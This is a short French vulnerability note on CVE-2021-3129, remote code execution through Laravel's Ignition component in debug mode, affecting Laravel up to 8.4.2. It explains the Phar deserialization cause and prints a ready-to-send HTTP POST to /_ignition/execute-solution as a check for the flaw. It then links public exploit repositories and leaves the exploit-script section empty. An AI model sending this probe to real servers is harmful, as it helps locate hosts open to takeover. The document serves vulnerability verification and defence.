CVE-2021-3129

Laravel RCE CVE-2021-3129

Aperçu de la vulnérabilité

Lorsque Laravel a activé le mode Debug, en raison de l'utilisation non sécurisée des fonctions file_get_contents() et file_put_contents() par le composant Ignition fourni avec Laravel, un attaquant peut déclencher une désérialisation Phar en envoyant des requêtes malveillantes, en construisant des fichiers Log malveillants, etc., entraînant finalement une exécution de code à distance.

Versions affectées

Laravel <= 8.4.2

Vérification de la vulnérabilité

• Un retour 500 prouve que la vulnérabilité existe.

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

Script d'exploitation

Références

[CVE-2021-3129]Reproduction du RCE en mode Debug de Laravel | Blog de tyskill

SNCKER/CVE-2021-3129: Laravel debug rce (github.com)

zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129) (github.com)